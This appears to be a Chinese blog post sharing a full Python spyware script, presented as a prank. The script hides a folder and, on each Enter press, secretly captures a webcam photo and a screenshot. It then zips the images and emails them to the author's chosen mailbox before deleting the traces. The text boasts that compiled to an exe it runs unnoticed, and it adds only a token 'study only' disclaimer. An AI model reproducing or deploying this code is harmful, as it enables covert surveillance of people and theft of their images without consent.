赞
踩
今天是美好的十月一假期结束第一天,本着努力工作(摸鱼),脑子里构思了一个搞事情的小脚本。
不废话,贴码,整活
- import os
- import time
- import smtplib
- from email.mime.text import MIMEText
- from email.mime.multipart import MIMEMultipart
- import logging
- import numpy as np
- from PIL import ImageGrab
- import cv2
- import shutil
- import keyboard
-
-
- def GetPicture(): # 拍照&视频
- s = 0
- while True:
- # 监听回车事件
- keyboard.wait("enter")
- cap = cv2.VideoCapture(0)
- ret, frame = cap.read()
- cv2.imwrite('./system/%s.jpg' % time.time(), frame)
- cap.release
- # time.sleep(0.5)
- img = ImageGrab.grab(bbox=(0, 0, 1920, 1080))
- # print(img.size[1], img.size[0])
- img = np.array(img.getdata(), np.uint8).reshape(img.size[1], img.size[0], 3)
- # print(img)
- cv2.imwrite('./system/%s.jpg' % time.time(), img)
- s += 1
- if s > 5:
- os.system("attrib +s +h +r *.jpg")
- break
-
-
- def send_mail(MAIL_SERVER, MAIL_USERNAME, MAIL_PASSWORD, accept_list, Cc_list, SUBJECT, text, file_name):
- message = MIMEMultipart()
- message['From'] = MAIL_USERNAME # 发件人
- message['To'] = ";".join(accept_list) # 收件人,将列表转换为字符串
- message["Cc"] = ";".join(Cc_list) # 抄送人,将列表转换为字符串
- message['Subject'] = SUBJECT # 邮件主题
- message.attach(MIMEText(text, 'plain', 'utf-8')) # 格式化邮件内容,编码为utf-8
-
- att1 = MIMEText(open(file_name, 'rb').read(), 'base64', 'utf-8') # 添加附件
- att1["Content-Type"] = 'application/octet-stream' # 设置类型
- att1["Content-Disposition"] = 'attachment; filename="{0}"'.format(file_name) # 设置邮件用现实的名称
- message.attach(att1)
-
- try:
- mailServer = smtplib.SMTP(MAIL_SERVER, 25) # 25为端口号(邮件)
- # 登录邮箱
- mailServer.login(MAIL_USERNAME, MAIL_PASSWORD) # 需要的是,邮箱的地址和授权密码
- # 发送文件
- mailServer.sendmail(MAIL_USERNAME, accept_list + Cc_list, message.as_string())
- mailServer.close() # 关闭连接
- return True
- except Exception as e:
- # logging.debug(e)
- print(e)
- return False
-
-
- def send_email(zip_path):
- MAIL_SERVER = 'smtp.163.com' # smtp服务器
- MAIL_USERNAME = '*******@163.com' # 发件人
- MAIL_PASSWORD = 'Q*****KF' # 邮箱授权码
- accept_list = ['1****@qq.com'] # 收件人
- Cc_list = [] # 抄送人
- SUBJECT = "Take photo" # 主题
- text = "Hello!!" # 内容
- file_name = zip_path # 上传附件名称(当前路径)
-
- if send_mail(MAIL_SERVER, MAIL_USERNAME, MAIL_PASSWORD, accept_list, Cc_list, SUBJECT, text, file_name):
- logging.debug("Send mail succed!")
-
- else:
- logging.debug("Send mail failed")
-
-
- def mkdirs():
- # 创建文件夹并隐藏
- os.mkdir("./system")
- os.system("attrib +s +h +r system")
-
-
- def mkzip():
- shutil.make_archive('./system_copy', 'zip', "./system")
-
-
- def run():
- mkdirs()
- GetPicture()
- mkzip()
- send_email("./system_copy.zip")
- os.remove("./system_copy.zip")
- os.remove("./system")
-
-
- run()
运行后,首先会创建一个隐藏文件夹,之后每按一次回车都会先给使用者拍照并且捕获屏幕截图,当按了五次回车之后,就会把图片打包发送给自己指定的邮箱(需要自己授权邮箱,这里不清楚的度娘一堆教程,就不做说明了)。
敲黑板,划重点,没有摄像头的可能会报错,我用的是笔记本所以暂时没遇到这个问题。
如果打包成exe文件,会做到全程无感!!只是摄像头的指示灯会频繁闪烁
小伙伴们切勿用于非法用途哦~~~仅供参考学习
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。